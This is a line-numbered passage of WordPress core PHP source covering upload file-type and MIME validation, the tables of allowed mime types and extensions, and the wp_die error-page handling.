3081 * then the "proper_filename" value will be set with a proper filename and extension.
3082 *
3083 * Currently this function only supports renaming images validated via wp_get_image_mime().
3084 *
3085 * @since 3.0.0
3086 *
3087 * @param string $file Full path to the file.
3088 * @param string $filename The name of the file (may differ from $file due to $file being
3089 * in a tmp directory).
3090 * @param string[]|null $mimes Optional. Array of allowed mime types keyed by their file extension regex.
3091 * Defaults to the result of get_allowed_mime_types().
3092 * @return array {
3093 * Values for the extension, mime type, and corrected filename.
3094 *
3095 * @type string|false $ext File extension, or false if the file doesn't match a mime type.
3096 * @type string|false $type File mime type, or false if the file doesn't match a mime type.
3097 * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined.
3098 * }
3099 */
3100function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {
3101 $proper_filename = false;
3102
3103 // Do basic extension validation and MIME mapping.
3104 $wp_filetype = wp_check_filetype( $filename, $mimes );
3105 $ext = $wp_filetype['ext'];
3106 $type = $wp_filetype['type'];
3107
3108 // We can't do any further validation without a file to work with.
3109 if ( ! file_exists( $file ) ) {
3110 return compact( 'ext', 'type', 'proper_filename' );
3111 }
3112
3113 $real_mime = false;
3114
3115 // Validate image types.
3116 if ( $type && str_starts_with( $type, 'image/' ) ) {
3117
3118 // Attempt to figure out what type of image it actually is.
3119 $real_mime = wp_get_image_mime( $file );
3120
3121 $heic_images_extensions = array(
3122 'heif',
3123 'heics',
3124 'heifs',
3125 );
3126
3127 if ( $real_mime && ( $real_mime !== $type || in_array( $ext, $heic_images_extensions, true ) ) ) {
3128 /**
3129 * Filters the list mapping image mime types to their respective extensions.
3130 *
3131 * @since 3.0.0
3132 *
3133 * @param array $mime_to_ext Array of image mime types and their matching extensions.
3134 */
3135 $mime_to_ext = apply_filters(
3136 'getimagesize_mimes_to_exts',
3137 array(
3138 'image/jpeg' => 'jpg',
3139 'image/png' => 'png',
3140 'image/gif' => 'gif',
3141 'image/bmp' => 'bmp',
3142 'image/tiff' => 'tif',
3143 'image/webp' => 'webp',
3144 'image/avif' => 'avif',
3145
3146 /*
3147 * In theory there are/should be file extensions that correspond to the
3148 * mime types: .heif, .heics and .heifs. However it seems that HEIC images
3149 * with any of the mime types commonly have a .heic file extension.
3150 * Seems keeping the status quo here is best for compatibility.
3151 */
3152 'image/heic' => 'heic',
3153 'image/heif' => 'heic',
3154 'image/heic-sequence' => 'heic',
3155 'image/heif-sequence' => 'heic',
3156 )
3157 );
3158
3159 // Replace whatever is after the last period in the filename with the correct extension.
3160 if ( ! empty( $mime_to_ext[ $real_mime ] ) ) {
3161 $filename_parts = explode( '.', $filename );
3162
3163 array_pop( $filename_parts );
3164 $filename_parts[] = $mime_to_ext[ $real_mime ];
3165 $new_filename = implode( '.', $filename_parts );
3166
3167 if ( $new_filename !== $filename ) {
3168 $proper_filename = $new_filename; // Mark that it changed.
3169 }
3170
3171 // Redefine the extension / MIME.
3172 $wp_filetype = wp_check_filetype( $new_filename, $mimes );
3173 $ext = $wp_filetype['ext'];
3174 $type = $wp_filetype['type'];
3175 } else {
3176 // Reset $real_mime and try validating again.
3177 $real_mime = false;
3178 }
3179 }
3180 }
3181
3182 // Validate files that didn't get validated during previous checks.
3183 if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) {
3184 $finfo = finfo_open( FILEINFO_MIME_TYPE );
3185 $real_mime = finfo_file( $finfo, $file );
3186
3187 if ( PHP_VERSION_ID < 80100 ) { // finfo_close() has no effect as of PHP 8.1.
3188 finfo_close( $finfo );
3189 }
3190
3191 $google_docs_types = array(
3192 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
3193 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
3194 );
3195
3196 foreach ( $google_docs_types as $google_docs_type ) {
3197 /*
3198 * finfo_file() can return duplicate mime type for Google docs,
3199 * this conditional reduces it to a single instance.
3200 *
3201 * @see https://bugs.php.net/bug.php?id=77784
3202 * @see https://core.trac.wordpress.org/ticket/57898
3203 */
3204 if ( 2 === substr_count( $real_mime, $google_docs_type ) ) {
3205 $real_mime = $google_docs_type;
3206 }
3207 }
3208
3209 // fileinfo often misidentifies obscure files as one of these types.
3210 $nonspecific_types = array(
3211 'application/octet-stream',
3212 'application/encrypted',
3213 'application/CDFV2-encrypted',
3214 'application/zip',
3215 );
3216
3217 /*
3218 * If $real_mime doesn't match the content type we're expecting from the file's extension,
3219 * we need to do some additional vetting. Media types and those listed in $nonspecific_types are
3220 * allowed some leeway, but anything else must exactly match the real content type.
3221 */
3222 if ( in_array( $real_mime, $nonspecific_types, true ) ) {
3223 // File is a non-specific binary type. That's ok if it's a type that generally tends to be binary.
3224 if ( ! in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ), true ) ) {
3225 $type = false;
3226 $ext = false;
3227 }
3228 } elseif ( str_starts_with( $real_mime, 'video/' ) || str_starts_with( $real_mime, 'audio/' ) ) {
3229 /*
3230 * For these types, only the major type must match the real value.
3231 * This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip,
3232 * and some media files are commonly named with the wrong extension (.mov instead of .mp4)
3233 */
3234 if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) {
3235 $type = false;
3236 $ext = false;
3237 }
3238 } elseif ( 'text/plain' === $real_mime ) {
3239 // A few common file types are occasionally detected as text/plain; allow those.
3240 if ( ! in_array(
3241 $type,
3242 array(
3243 'text/plain',
3244 'text/csv',
3245 'application/csv',
3246 'text/richtext',
3247 'text/tsv',
3248 'text/vtt',
3249 ),
3250 true
3251 )
3252 ) {
3253 $type = false;
3254 $ext = false;
3255 }
3256 } elseif ( 'application/csv' === $real_mime ) {
3257 // Special casing for CSV files.
3258 if ( ! in_array(
3259 $type,
3260 array(
3261 'text/csv',
3262 'text/plain',
3263 'application/csv',
3264 ),
3265 true
3266 )
3267 ) {
3268 $type = false;
3269 $ext = false;
3270 }
3271 } elseif ( 'text/rtf' === $real_mime ) {
3272 // Special casing for RTF files.
3273 if ( ! in_array(
3274 $type,
3275 array(
3276 'text/rtf',
3277 'text/plain',
3278 'application/rtf',
3279 ),
3280 true
3281 )
3282 ) {
3283 $type = false;
3284 $ext = false;
3285 }
3286 } else {
3287 if ( $type !== $real_mime ) {
3288 /*
3289 * Everything else including image/* and application/*:
3290 * If the real content type doesn't match the file extension, assume it's dangerous.
3291 */
3292 $type = false;
3293 $ext = false;
3294 }
3295 }
3296 }
3297
3298 // The mime type must be allowed.
3299 if ( $type ) {
3300 $allowed = get_allowed_mime_types();
3301
3302 if ( ! in_array( $type, $allowed, true ) ) {
3303 $type = false;
3304 $ext = false;
3305 }
3306 }
3307
3308 /**
3309 * Filters the "real" file type of the given file.
3310 *
3311 * @since 3.0.0
3312 * @since 5.1.0 The `$real_mime` parameter was added.
3313 *
3314 * @param array $wp_check_filetype_and_ext {
3315 * Values for the extension, mime type, and corrected filename.
3316 *
3317 * @type string|false $ext File extension, or false if the file doesn't match a mime type.
3318 * @type string|false $type File mime type, or false if the file doesn't match a mime type.
3319 * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined.
3320 * }
3321 * @param string $file Full path to the file.
3322 * @param string $filename The name of the file (may differ from $file due to
3323 * $file being in a tmp directory).
3324 * @param string[]|null $mimes Array of mime types keyed by their file extension regex, or null if
3325 * none were provided.
3326 * @param string|false $real_mime The actual mime type or false if the type cannot be determined.
3327 */
3328 return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes, $real_mime );
3329}
3330
3331/**
3332 * Returns the real mime type of an image file.
3333 *
3334 * This depends on exif_imagetype() or getimagesize() to determine real mime types.
3335 *
3336 * @since 4.7.1
3337 * @since 5.8.0 Added support for WebP images.
3338 * @since 6.5.0 Added support for AVIF images.
3339 * @since 6.7.0 Added support for HEIC images.
3340 *
3341 * @param string $file Full path to the file.
3342 * @return string|false The actual mime type or false if the type cannot be determined.
3343 */
3344function wp_get_image_mime( $file ) {
3345 /*
3346 * Use exif_imagetype() to check the mimetype if available or fall back to
3347 * getimagesize() if exif isn't available. If either function throws an Exception
3348 * we assume the file could not be validated.
3349 */
3350 try {
3351 if ( is_callable( 'exif_imagetype' ) ) {
3352 $imagetype = exif_imagetype( $file );
3353 $mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false;
3354 } elseif ( function_exists( 'getimagesize' ) ) {
3355 // Don't silence errors when in debug mode, unless running unit tests.
3356 if ( defined( 'WP_DEBUG' ) && WP_DEBUG && ! defined( 'WP_RUN_CORE_TESTS' ) ) {
3357 // Not using wp_getimagesize() here to avoid an infinite loop.
3358 $imagesize = getimagesize( $file );
3359 } else {
3360 $imagesize = @getimagesize( $file );
3361 }
3362
3363 $mime = $imagesize['mime'] ?? false;
3364 } else {
3365 $mime = false;
3366 }
3367
3368 if ( false !== $mime ) {
3369 return $mime;
3370 }
3371
3372 $magic = file_get_contents( $file, false, null, 0, 12 );
3373
3374 if ( false === $magic ) {
3375 return false;
3376 }
3377
3378 /*
3379 * Add WebP fallback detection when image library doesn't support WebP.
3380 * Note: detection values come from LibWebP, see
3381 * https://github.com/webmproject/libwebp/blob/master/imageio/image_dec.c#L30
3382 */
3383 $magic = bin2hex( $magic );
3384 if (
3385 // RIFF.
3386 ( str_starts_with( $magic, '52494646' ) ) &&
3387 // WEBP.
3388 ( 16 === strpos( $magic, '57454250' ) )
3389 ) {
3390 $mime = 'image/webp';
3391 }
3392
3393 /**
3394 * Add AVIF fallback detection when image library doesn't support AVIF.
3395 *
3396 * Detection based on section 4.3.1 File-type box definition of the ISO/IEC 14496-12
3397 * specification and the AV1-AVIF spec, see https://aomediacodec.github.io/av1-avif/v1.1.0.html#brands.
3398 */
3399
3400 // Divide the header string into 4 byte groups.
3401 $magic = str_split( $magic, 8 );
3402
3403 if ( isset( $magic[1] ) && isset( $magic[2] ) && 'ftyp' === hex2bin( $magic[1] ) ) {
3404 if ( 'avif' === hex2bin( $magic[2] ) || 'avis' === hex2bin( $magic[2] ) ) {
3405 $mime = 'image/avif';
3406 } elseif ( 'heic' === hex2bin( $magic[2] ) ) {
3407 $mime = 'image/heic';
3408 } elseif ( 'heif' === hex2bin( $magic[2] ) ) {
3409 $mime = 'image/heif';
3410 } else {
3411 /*
3412 * HEIC/HEIF images and image sequences/animations may have other strings here
3413 * like mif1, msf1, etc. For now fall back to using finfo_file() to detect these.
3414 */
3415 if ( extension_loaded( 'fileinfo' ) ) {
3416 $fileinfo = finfo_open( FILEINFO_MIME_TYPE );
3417 $mime_type = finfo_file( $fileinfo, $file );
3418
3419 if ( PHP_VERSION_ID < 80100 ) { // finfo_close() has no effect as of PHP 8.1.
3420 finfo_close( $fileinfo );
3421 }
3422
3423 if ( wp_is_heic_image_mime_type( $mime_type ) ) {
3424 $mime = $mime_type;
3425 }
3426 }
3427 }
3428 }
3429 } catch ( Exception $e ) {
3430 $mime = false;
3431 }
3432
3433 return $mime;
3434}
3435
3436/**
3437 * Retrieves the list of mime types and file extensions.
3438 *
3439 * @since 3.5.0
3440 * @since 4.2.0 Support was added for GIMP (.xcf) files.
3441 * @since 4.9.2 Support was added for Flac (.flac) files.
3442 * @since 4.9.6 Support was added for AAC (.aac) files.
3443 * @since 6.8.0 Support was added for `audio/x-wav`.
3444 *
3445 * @return string[] Array of mime types keyed by the file extension regex corresponding to those types.
3446 */
3447function wp_get_mime_types() {
3448 /**
3449 * Filters the list of mime types and file extensions.
3450 *
3451 * This filter should be used to add, not remove, mime types. To remove
3452 * mime types, use the {@see 'upload_mimes'} filter.
3453 *
3454 * @since 3.5.0
3455 *
3456 * @param string[] $wp_get_mime_types Mime types keyed by the file extension regex
3457 * corresponding to those types.
3458 */
3459 return apply_filters(
3460 'mime_types',
3461 array(
3462 // Image formats.
3463 'jpg|jpeg|jpe' => 'image/jpeg',
3464 'gif' => 'image/gif',
3465 'png' => 'image/png',
3466 'bmp' => 'image/bmp',
3467 'tiff|tif' => 'image/tiff',
3468 'webp' => 'image/webp',
3469 'avif' => 'image/avif',
3470 'ico' => 'image/x-icon',
3471
3472 // TODO: Needs improvement. All images with the following mime types seem to have .heic file extension.
3473 'heic' => 'image/heic',
3474 'heif' => 'image/heif',
3475 'heics' => 'image/heic-sequence',
3476 'heifs' => 'image/heif-sequence',
3477
3478 // Video formats.
3479 'asf|asx' => 'video/x-ms-asf',
3480 'wmv' => 'video/x-ms-wmv',
3481 'wmx' => 'video/x-ms-wmx',
3482 'wm' => 'video/x-ms-wm',
3483 'avi' => 'video/avi',
3484 'divx' => 'video/divx',
3485 'flv' => 'video/x-flv',
3486 'mov|qt' => 'video/quicktime',
3487 'mpeg|mpg|mpe' => 'video/mpeg',
3488 'mp4|m4v' => 'video/mp4',
3489 'ogv' => 'video/ogg',
3490 'webm' => 'video/webm',
3491 'mkv' => 'video/x-matroska',
3492 '3gp|3gpp' => 'video/3gpp', // Can also be audio.
3493 '3g2|3gp2' => 'video/3gpp2', // Can also be audio.
3494 // Text formats.
3495 'txt|asc|c|cc|h|srt' => 'text/plain',
3496 'csv' => 'text/csv',
3497 'tsv' => 'text/tab-separated-values',
3498 'ics' => 'text/calendar',
3499 'rtx' => 'text/richtext',
3500 'css' => 'text/css',
3501 'htm|html' => 'text/html',
3502 'vtt' => 'text/vtt',
3503 'dfxp' => 'application/ttaf+xml',
3504 // Audio formats.
3505 'mp3|m4a|m4b' => 'audio/mpeg',
3506 'aac' => 'audio/aac',
3507 'ra|ram' => 'audio/x-realaudio',
3508 'wav|x-wav' => 'audio/wav',
3509 'ogg|oga' => 'audio/ogg',
3510 'flac' => 'audio/flac',
3511 'mid|midi' => 'audio/midi',
3512 'wma' => 'audio/x-ms-wma',
3513 'wax' => 'audio/x-ms-wax',
3514 'mka' => 'audio/x-matroska',
3515 // Misc application formats.
3516 'rtf' => 'application/rtf',
3517 'js' => 'application/javascript',
3518 'pdf' => 'application/pdf',
3519 'swf' => 'application/x-shockwave-flash',
3520 'class' => 'application/java',
3521 'tar' => 'application/x-tar',
3522 'zip' => 'application/zip',
3523 'gz|gzip' => 'application/x-gzip',
3524 'rar' => 'application/rar',
3525 '7z' => 'application/x-7z-compressed',
3526 'exe' => 'application/x-msdownload',
3527 'psd' => 'application/octet-stream',
3528 'xcf' => 'application/octet-stream',
3529 // MS Office formats.
3530 'doc' => 'application/msword',
3531 'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
3532 'wri' => 'application/vnd.ms-write',
3533 'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
3534 'mdb' => 'application/vnd.ms-access',
3535 'mpp' => 'application/vnd.ms-project',
3536 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
3537 'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
3538 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
3539 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
3540 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
3541 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
3542 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
3543 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
3544 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
3545 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
3546 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
3547 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
3548 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
3549 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
3550 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
3551 'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
3552 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
3553 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
3554 'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
3555 'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
3556 'oxps' => 'application/oxps',
3557 'xps' => 'application/vnd.ms-xpsdocument',
3558 // OpenOffice formats.
3559 'odt' => 'application/vnd.oasis.opendocument.text',
3560 'odp' => 'application/vnd.oasis.opendocument.presentation',
3561 'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
3562 'odg' => 'application/vnd.oasis.opendocument.graphics',
3563 'odc' => 'application/vnd.oasis.opendocument.chart',
3564 'odb' => 'application/vnd.oasis.opendocument.database',
3565 'odf' => 'application/vnd.oasis.opendocument.formula',
3566 // WordPerfect formats.
3567 'wp|wpd' => 'application/wordperfect',
3568 // iWork formats.
3569 'key' => 'application/vnd.apple.keynote',
3570 'numbers' => 'application/vnd.apple.numbers',
3571 'pages' => 'application/vnd.apple.pages',
3572 )
3573 );
3574}
3575
3576/**
3577 * Retrieves the list of common file extensions and their types.
3578 *
3579 * @since 4.6.0
3580 *
3581 * @return array[] Multi-dimensional array of file extensions types keyed by the type of file.
3582 */
3583function wp_get_ext_types() {
3584
3585 /**
3586 * Filters file type based on the extension name.
3587 *
3588 * @since 2.5.0
3589 *
3590 * @see wp_ext2type()
3591 *
3592 * @param array[] $ext2type Multi-dimensional array of file extensions types keyed by the type of file.
3593 */
3594 return apply_filters(
3595 'ext2type',
3596 array(
3597 'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico', 'heic', 'heif', 'webp', 'avif' ),
3598 'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
3599 'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ),
3600 'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ),
3601 'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ),
3602 'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
3603 'text' => array( 'asc', 'csv', 'tsv', 'txt' ),
3604 'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ),
3605 'code' => array( 'css', 'htm', 'html', 'php', 'js' ),
3606 )
3607 );
3608}
3609
3610/**
3611 * Wrapper for PHP filesize with filters and casting the result as an integer.
3612 *
3613 * @since 6.0.0
3614 *
3615 * @link https://www.php.net/manual/en/function.filesize.php
3616 *
3617 * @param string $path Path to the file.
3618 * @return int The size of the file in bytes, or 0 in the event of an error.
3619 */
3620function wp_filesize( $path ) {
3621 /**
3622 * Filters the result of wp_filesize() before the file_exists() PHP function is run.
3623 *
3624 * @since 6.0.0
3625 *
3626 * @param null|int $size The unfiltered value. Returning an int from the callback bypasses the filesize call.
3627 * @param string $path Path to the file.
3628 */
3629 $size = apply_filters( 'pre_wp_filesize', null, $path );
3630
3631 if ( is_int( $size ) ) {
3632 return $size;
3633 }
3634
3635 $size = file_exists( $path ) ? (int) filesize( $path ) : 0;
3636
3637 /**
3638 * Filters the size of the file.
3639 *
3640 * @since 6.0.0
3641 *
3642 * @param int $size The result of PHP filesize on the file.
3643 * @param string $path Path to the file.
3644 */
3645 return (int) apply_filters( 'wp_filesize', $size, $path );
3646}
3647
3648/**
3649 * Retrieves the list of allowed mime types and file extensions.
3650 *
3651 * @since 2.8.6
3652 *
3653 * @param int|WP_User $user Optional. User to check. Defaults to current user.
3654 * @return string[] Array of mime types keyed by the file extension regex corresponding
3655 * to those types.
3656 */
3657function get_allowed_mime_types( $user = null ) {
3658 $t = wp_get_mime_types();
3659
3660 unset( $t['swf'], $t['exe'] );
3661 if ( function_exists( 'current_user_can' ) ) {
3662 $unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' );
3663 }
3664
3665 if ( empty( $unfiltered ) ) {
3666 unset( $t['htm|html'], $t['js'] );
3667 }
3668
3669 /**
3670 * Filters the list of allowed mime types and file extensions.
3671 *
3672 * @since 2.0.0
3673 *
3674 * @param array $t Mime types keyed by the file extension regex corresponding to those types.
3675 * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user).
3676 */
3677 return apply_filters( 'upload_mimes', $t, $user );
3678}
3679
3680/**
3681 * Displays "Are You Sure" message to confirm the action being taken.
3682 *
3683 * If the action has the nonce explain message, then it will be displayed
3684 * along with the "Are you sure?" message.
3685 *
3686 * @since 2.0.4
3687 *
3688 * @param string $action The nonce action.
3689 */
3690function wp_nonce_ays( $action ) {
3691 // Default title and response code.
3692 $title = __( 'An error occurred.' );
3693 $response_code = 403;
3694
3695 if ( 'log-out' === $action ) {
3696 $title = sprintf(
3697 /* translators: %s: Site title. */
3698 __( 'You are attempting to log out of %s' ),
3699 get_bloginfo( 'name' )
3700 );
3701
3702 $redirect_to = $_REQUEST['redirect_to'] ?? '';
3703
3704 $html = $title;
3705 $html .= '</p><p>';
3706 $html .= sprintf(
3707 /* translators: %s: Logout URL. */
3708 __( 'Do you really want to <a href="%s">log out</a>?' ),
3709 wp_logout_url( $redirect_to )
3710 );
3711 } else {
3712 $html = __( 'The link you followed has expired.' );
3713
3714 if ( wp_get_referer() ) {
3715 $wp_http_referer = remove_query_arg( 'updated', wp_get_referer() );
3716 $wp_http_referer = wp_validate_redirect( sanitize_url( $wp_http_referer ) );
3717
3718 $html .= '</p><p>';
3719 $html .= sprintf(
3720 '<a href="%s">%s</a>',
3721 esc_url( $wp_http_referer ),
3722 __( 'Please try again.' )
3723 );
3724 }
3725 }
3726
3727 wp_die( $html, $title, $response_code );
3728}
3729
3730/**
3731 * Kills WordPress execution and displays HTML page with an error message.
3732 *
3733 * This function complements the `die()` PHP function. The difference is that
3734 * HTML will be displayed to the user. It is recommended to use this function
3735 * only when the execution should not continue any further. It is not recommended
3736 * to call this function very often, and try to handle as many errors as possible
3737 * silently or more gracefully.
3738 *
3739 * As a shorthand, the desired HTTP response code may be passed as an integer to
3740 * the `$title` parameter (the default title would apply) or the `$args` parameter.
3741 *
3742 * @since 2.0.4
3743 * @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept
3744 * an integer to be used as the response code.
3745 * @since 5.1.0 The `$link_url`, `$link_text`, and `$exit` arguments were added.
3746 * @since 5.3.0 The `$charset` argument was added.
3747 * @since 5.5.0 The `$text_direction` argument has a priority over get_language_attributes()
3748 * in the default handler.
3749 *
3750 * @global WP_Query $wp_query WordPress Query object.
3751 *
3752 * @param string|WP_Error $message Optional. Error message. If this is a WP_Error object,
3753 * and not an Ajax or XML-RPC request, the error's messages are used.
3754 * Default empty string.
3755 * @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object,
3756 * error data with the key 'title' may be used to specify the title.
3757 * If `$title` is an integer, then it is treated as the response code.
3758 * Default empty string.
3759 * @param string|array|int $args {
3760 * Optional. Arguments to control behavior. If `$args` is an integer, then it is treated
3761 * as the response code. Default empty array.
3762 *
3763 * @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise.
3764 * @type string $link_url A URL to include a link to. Only works in combination with $link_text.
3765 * Default empty string.
3766 * @type string $link_text A label for the link to include. Only works in combination with $link_url.
3767 * Default empty string.
3768 * @type bool $back_link Whether to include a link to go back. Default false.
3769 * @type string $text_direction The text direction. This is only useful internally, when WordPress is still
3770 * loading and the site's locale is not set up yet. Accepts 'rtl' and 'ltr'.
3771 * Default is the value of is_rtl().
3772 * @type string $charset Character set of the HTML output. Default 'utf-8'.
3773 * @type string $code Error code to use. Default is 'wp_die', or the main error code if $message
3774 * is a WP_Error.
3775 * @type bool $exit Whether to exit the process after completion. Default true.
3776 * }
3777 * @return never|void Returns void if `$args['exit']` is false, otherwise exits.
3778 *
3779 * @phpstan-return ( $args['exit'] is false ? void : never )
3780 */
3781function wp_die( $message = '', $title = '', $args = array() ) {
3782 global $wp_query;
3783
3784 if ( is_int( $args ) ) {
3785 $args = array( 'response' => $args );
3786 } elseif ( is_int( $title ) ) {
3787 $args = array( 'response' => $title );
3788 $title = '';
3789 }
3790
3791 if ( wp_doing_ajax() ) {
3792 /**
3793 * Filters the callback for killing WordPress execution for Ajax requests.
3794 *
3795 * @since 3.4.0
3796 *
3797 * @param callable $callback Callback function name.
3798 */
3799 $callback = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
3800 } elseif ( wp_is_json_request() ) {
3801 /**
3802 * Filters the callback for killing WordPress execution for JSON requests.
3803 *
3804 * @since 5.1.0
3805 *
3806 * @param callable $callback Callback function name.
3807 */
3808 $callback = apply_filters( 'wp_die_json_handler', '_json_wp_die_handler' );
3809 } elseif ( wp_is_serving_rest_request() && wp_is_jsonp_request() ) {
3810 /**
3811 * Filters the callback for killing WordPress execution for JSONP REST requests.
3812 *
3813 * @since 5.2.0
3814 *
3815 * @param callable $callback Callback function name.
3816 */
3817 $callback = apply_filters( 'wp_die_jsonp_handler', '_jsonp_wp_die_handler' );
3818 } elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
3819 /**
3820 * Filters the callback for killing WordPress execution for XML-RPC requests.
3821 *
3822 * @since 3.4.0
3823 *
3824 * @param callable $callback Callback function name.
3825 */
3826 $callback = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
3827 } elseif ( wp_is_xml_request()
3828 || isset( $wp_query ) &&
3829 ( function_exists( 'is_feed' ) && is_feed()
3830 || function_exists( 'is_comment_feed' ) && is_comment_feed()
3831 || function_exists( 'is_trackback' ) && is_trackback() ) ) {
3832 /**
3833 * Filters the callback for killing WordPress execution for XML requests.
3834 *
3835 * @since 5.2.0
3836 *
3837 * @param callable $callback Callback function name.
3838 */
3839 $callback = apply_filters( 'wp_die_xml_handler', '_xml_wp_die_handler' );
3840 } else {
3841 /**
3842 * Filters the callback for killing WordPress execution for all non-Ajax, non-JSON, non-XML requests.
3843 *
3844 * @since 3.0.0
3845 *
3846 * @param callable $callback Callback function name.
3847 */
3848 $callback = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );
3849 }
3850
3851 call_user_func( $callback, $message, $title, $args );
3852}
3853
3854/**
3855 * Kills WordPress execution and displays HTML page with an error message.
3856 *
3857 * This is the default handler for wp_die(). If you want a custom one,
3858 * you can override this using the {@see 'wp_die_handler'} filter in wp_die().
3859 *
3860 * @since 3.0.0
3861 * @access private
3862 *
3863 * @param string|WP_Error $message Error message or WP_Error object.
3864 * @param string $title Optional. Error title. Default empty string.
3865 * @param string|array $args Optional. Arguments to control behavior. Default empty array.
3866 */
3867function _default_wp_die_handler( $message, $title = '', $args = array() ) {
3868 list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args );
3869
3870 if ( is_string( $message ) ) {
3871 if ( ! empty( $parsed_args['additional_errors'] ) ) {
3872 $message = array_merge(
3873 array( $message ),
3874 wp_list_pluck( $parsed_args['additional_errors'], 'message' )
3875 );
3876 $message = "<ul>\n\t\t<li>" . implode( "</li>\n\t\t<li>", $message ) . "</li>\n\t</ul>";
3877 }
3878
3879 $message = sprintf(
3880 '<div class="wp-die-message">%s</div>',
3881 $message
3882 );
3883 }
3884
3885 $have_gettext = function_exists( '__' );
3886
3887 if ( ! empty( $parsed_args['link_url'] ) && ! empty( $parsed_args['link_text'] ) ) {
3888 $link_url = $parsed_args['link_url'];
3889 if ( function_exists( 'esc_url' ) ) {
3890 $link_url = esc_url( $link_url );
3891 }
3892 $link_text = $parsed_args['link_text'];
3893 $message .= "\n<p><a href='{$link_url}'>{$link_text}</a></p>";
3894 }
3895
3896 if ( isset( $parsed_args['back_link'] ) && $parsed_args['back_link'] ) {
3897 $back_text = $have_gettext ? __( '« Back' ) : '« Back';
3898 $message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
3899 }
3900
3901 if ( ! did_action( 'admin_head' ) ) :
3902 if ( ! headers_sent() ) {
3903 header( "Content-Type: text/html; charset={$parsed_args['charset']}" );
3904 status_header( $parsed_args['response'] );
3905 nocache_headers();
3906 }
3907
3908 $text_direction = $parsed_args['text_direction'];
3909 $dir_attr = "dir='$text_direction'";
3910
3911 /*
3912 * If `text_direction` was not explicitly passed,
3913 * use get_language_attributes() if available.
3914 */
3915 if ( empty( $args['text_direction'] )
3916 && function_exists( 'language_attributes' ) && function_exists( 'is_rtl' )
3917 ) {
3918 $dir_attr = get_language_attributes();
3919 }
3920 ?>
3921<!DOCTYPE html>
3922<html <?php echo $dir_attr; ?>>
3923<head>
3924 <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $parsed_args['charset']; ?>" />
3925 <meta name="viewport" content="width=device-width, initial-scale=1.0">
3926 <?php
3927 if ( function_exists( 'wp_robots' ) && function_exists( 'wp_robots_no_robots' ) && function_exists( 'add_filter' ) ) {
3928 add_filter( 'wp_robots', 'wp_robots_no_robots' );
3929 // Prevent warnings because of $wp_query not existing.
3930 remove_filter( 'wp_robots', 'wp_robots_noindex_embeds' );
3931 remove_filter( 'wp_robots', 'wp_robots_noindex_search' );
3932 wp_robots();
3933 }
3934 ?>
3935 <title><?php echo $title; ?></title>
3936 <style>
3937 html {
3938 background: #f1f1f1;
3939 }
3940 body {
